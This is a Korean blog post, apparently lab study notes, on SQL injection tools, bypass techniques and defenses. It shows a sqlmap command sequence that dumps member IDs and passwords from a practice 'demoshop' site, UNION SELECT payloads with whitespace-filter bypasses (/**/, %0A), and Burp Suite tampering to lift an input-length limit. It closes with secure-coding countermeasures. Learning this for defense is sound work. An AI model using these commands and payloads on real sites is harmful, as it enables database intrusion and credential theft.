티스토리 뷰

정보보호

SQL injection (SQLi) - 2

ljy98 2021. 9. 1. 22:02

0. SQL (Structured Query Language, 구조화 질의어)

1. SQL injection 개념

2. SQL injection 종류

3. SQL injection Tools

4. SQL injection 응용

5. SQL injection 대응 방안


3. SQL injection Tools

3-1. sqlmap (https://sqlmap.org/)

  • Basic Option

(1) -u : "URL"

(2) --data : "parameter=value&parameter=value"

(3) -p : 취약한 파라미터

(4) --level : 쓰레드 (1~5)

(5) --dbs : 데이터베이스 이름 알아내기

(6) --random-agent : 요청 헤더에 user-agent의 sqlmap 단어를 포함하지 않고 랜덤한 값으로 보냄 (우회기법)

  • 공격순서 (정보유출흐름)

Databases -> 지정한 Database의 Tables -> 지정한 Table의 Columns -> Record 값

--dbs -> -D "DB명" --tables  -> -D "DB명" -T "Table명" --columns -> -D "DB명" -T "Table명" --dump

  • sqlmap을 이용한 회원의 ID와 PW 유출

(1) Databases

sqlmap -u "http://XXX.XXX.XXX.XXX/demoshop/shop_board/shop_board_list.asp" --data "page=3&v_num=368" -p v_num --level=3 --dbs --random-agent

 

[그림 1] Database를 찾기 위해 명령어 실행

 

실제로 [그림 1]과 같이 명령어를 치고 실행했을 때 [그림 2]와 같이 DB 값이 노출된다면 게임이 끝났다고 보면 된다. 세부 내용을 샅샅이 찾아서 온갖 정보들을 얻어낼 수 있기 때문이다.

 

[그림 2] Databases에 oyesmall이 있음을 확인

 

(2) Tables

sqlmap -u "http://XXX.XXX.XXX.XXX/demoshop/shop_board/shop_board_list.asp" --data "page=3&v_num=368" -p v_num --level=3 -D "oyesmall" --tables --random-agent

 

[그림 3] Table을 찾기 위해 명령어 실행

 

[그림 4] oyesmall의 테이블 값

 

(3) Columns

sqlmap -u "http://XXX.XXX.XXX.XXX/demoshop/shop_board/shop_board_list.asp" --data "page=3&v_num=368" -p v_num --level=3 -D "oyesmall" -D "oyesmall" -T "members" --columns --random-agent

 

[그림 5] Columns를 찾기 위해 명령어 실행

 

[그림 6] members 테이블의 column 값

 

(4) Record

sqlmap -u "http://XXX.XXX.XXX.XXX/demoshop/shop_board/shop_board_list.asp" --data "page=3&v_num=368" -p v_num --level=3 -D "oyesmall" -D "oyesmall" -T "members" -C "user_id,passwd" --dump --random-agent

 

[그림 7] ID, PW를 찾기 위해 명령어 실행

 

[그림 8] 회원의 ID, PW 값 확인

 

3-2. N3015M (Blind SQL Injection Tool)

실습에서 사용한 N3015M의 버전은 Developer v1.0.0이다.

 

[그림 9] N3015M에 URL을 입력한 모습

 

[그림 9]와 같이 URL에 주소를 입력했다.

http://XXX.XXX.XXX.XXX/demoshop/shop_board/search.asp?radio=title&searchquery=test

 

[그림 10] testing now를 누른 후 얻은 Data

 

testing now 버튼을 클릭한 후 HOSTNAME, TABLENAME1~4를 눌러보면 프로그램이 자동으로 SQLi를 진행하고 그 결과를 보여준다.

 

4. SQL injection 응용

Q. 회원의 ID와 PW를 UNION SQLi를 이용하여 출력하기

 

4.1. http://XXX.XXX.XXX.XXX/demoshop/login/findNewaddr.asp

'UNION SELECT '1', '2', '3', user_id, passwd FROM members --

 

[그림 11] 'UNION SELECT '1', '2', '3', user_id, passwd FROM members --로 주소찾기

 

이 사이트는 앞서 UNION SELECT문으로 SQLi를 했던 것과 같은 사이트이다.

 

4.2. http://XXX.XXX.XXX.XXX/demoshop/login/findNewaddr2.asp

 

[그림 12] 입력 글자 수 제한

 

4.1.에서 입력했던 내용을 똑같이 적다가 글자 수 제한이 있어서 최대 20자까지만 입력이 가능했다. 

 

[그림 13] Burp Suite로 글자 수 제한 분석

 

Burp Suite로 Proxy intercept를 해보니 maxlength='20'이라고 쓰여져 있는 부분을 발견할 수 있었다. 이 부분을 삭제하고 Forward를 누른 후 다시 입력할 때에는 글자 수 제한 없이 정상적으로 입력이 되었고, ID와 PW 출력에 성공했다.

 

4.3. http://XXX.XXX.XXX.XXX/demoshop/login/findNewaddr3.asp

 

[그림 14] 4.1.과 같은 내용을 입력했을 때 에러

 

4.1.에서 입력한 내용을 똑같이 입력했을 때 [그림 14]와 같은 에러가 나왔다. 입력할 때 분명 UNION과 SELECT 사이에 공백을 넣어서 입력했는데 'UNIONSELECT' 근처의 구문이 잘못되었다는 오류는 이 사이트에서 공백을 제거해주고 있기 때문이다. 따라서 4.1.에서 입력한 내용의 모든 공백에 주석 처리를 나타내는 /**/를 입력해서 아래와 같은 내용을 입력하여 ID, PW 출력에 성공했다.

'UNION/**/ SELECT/**/ '1', '2', '3', user_id, passwd/**/ FROM/**/ members/**/ --

 

4.4 http://XXX.XXX.XXX.XXX/demoshop/login/findNewaddr4.asp

 

[그림 15] 4.1.과 4.3.의 내용으로 시도했을 때 에러 발생

 

4.1.의 내용으로 시도했을 때 공백이 제거되어서 4.3.의 내용으로 다시 시도했더니 똑같은 에러가 떴다. 4.4에서는 공백 뿐만 아니라 주석 처리를 위해 썼던 /**/에서 /도 제거된다는 것을 유추할 수 있다. 따라서 아래의 내용으로 재시도했다. 원래 존재했던 공백에 주석 처리 대신 %0A를 삽입했는데, %0A는 URL 디코딩을 했을 때 공백을 나타낸다. 

'UNION%0A SELECT%0A '1', '2', '3', user_id, passwd%0A FROM%0A members%0A --

 

[그림 16] %0A를 입력했을 때 에러

 

[그림 16]처럼 '%' 근처의 구문이 잘못되었다는 에러가 나타났는데, 이것으로 보아 주소찾기 버튼을 눌렀을 때 %가 URL 인코딩된다고 유추할 수 있다.

 

[그림 17] Burp Suite로 % 관련 에러 분석

 

Burp Suite로 Proxy intercept를 해보니 처음에 %로 입력한 부분이 URL 인코딩되어 나타나는 것을 확인할 수 있었다. 이 값을 https://ostermiller.org/calc/encode.html 에서 URL 디코딩한 후 다시 삽입해주고 Forward를 눌러 다시 시도해보니 ID와 PW 값을 알아내는데 성공했다.

 

5. SQL injection 대응 방안

5.1. 시큐어 코딩

  • 소스코드 레벨에서 Prepared Statement 구문을 통한 SQL injection 방어

- 개발 중 DAO 객체 또는 DB 연결 구문에서 Prepared Statement 구문 이용

- SQL injection 취약점이 근본적으로 발생하지 않는 구조로 웹사이트를 개발

- 해당 구문은 SQL 쿼리를 선 처리하여 컴파일 한 후, 이후 입력되는 변수 값을 항상 문자열 변수로 처리함

- 사용자가 어떤 악의적인 SQL 구문을 변수에 삽입해도 SQL 문에 영향을 미치지 않아 SQL injection이 발생하지 않음

  • 바인딩된 질의문 사용 예 JAVA

- JAVA의 Prepared Statement 클래스에 존재하는 setString 혹은 setlnt 메소드를 통해 바인딩된 질의문을 활용하여 질의문의 구조가 변경되지 않도록 해야 함

  • ASP에서 Prepared Statement 구문 사용

- 저장 프로시저를 이용하여 DB 트랜잭션을 처리하는 방법 역시 Prepared Statement 구문과 동일한 효과 기대

  • PHP

- addslashes 함수를 이용한 특정 문자열 필터링 적용

-  eregi_replace 함수를 이용한 특정 문자열 필터링 적용

- php.ini 내용 중 magic_quotes_gpc=on 설정 인용부호 입력 시 치환되도록 설정 (참고: PHP 6.0 이후 버전 사용 불능)

  • 소스코드 레벨에서 Prepared Statement 구문을 통한 SQL injection 방어

- 운영 중인 웹사이트에서 DB 트랜잭션 처리를 Prepared Statement 구문으로 수정하는 것이 어려울 경우, 차선책으로 특수 문자 및

  Query 문자열에 대한 필터링을 통해서 SQL injection이 발생하지 않도록 해야 함

 

5.2. 보안 강화

  • Database 운영 레벨에서 SQL injection 방어 대책

- DB 계정에 최소 권한 부여

- 웹사이트에서 사용되는 DB 계정에 최소한의 권한만 부여해야 함

- DB 계정에 system 권한(sysdba, sa, root 등)을 부여해서는 안됨

- MS-SQL Server의 경우 xp_cmdshell 등 확장 프로시저를 제거함

  • Database 에러페이지 노출 방지

- Apache (httpd.conf 전역 설정에 추가)

- IIS 5.0, 6.0 (인터넷 정보 서비스(ISS) 관리 → 속성 → [사용자 지정 오류] 탭에서 500번 대 웹 서비스 에러에 대해 별도 페이지 지정)

- IIS 7.0 (인터넷 정보 서비스(ISS) 관리자 → 해당 웹 사이트 → [오류 페이지]에서 500번 대 웹 서비스 에러에 대해 별도 페이지 지정)

'정보보호' 카테고리의 다른 글

Cross Site Request Forgery (CSRF)  (0) 2021.09.06
Cross-Site Scripting (XSS)  (0) 2021.09.02
SQL injection (SQLi) - 1  (0) 2021.08.31
메모리 보호 기법과 우회 기법  (0) 2021.08.26
버퍼 오버플로우  (0) 2021.08.26
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
글 보관함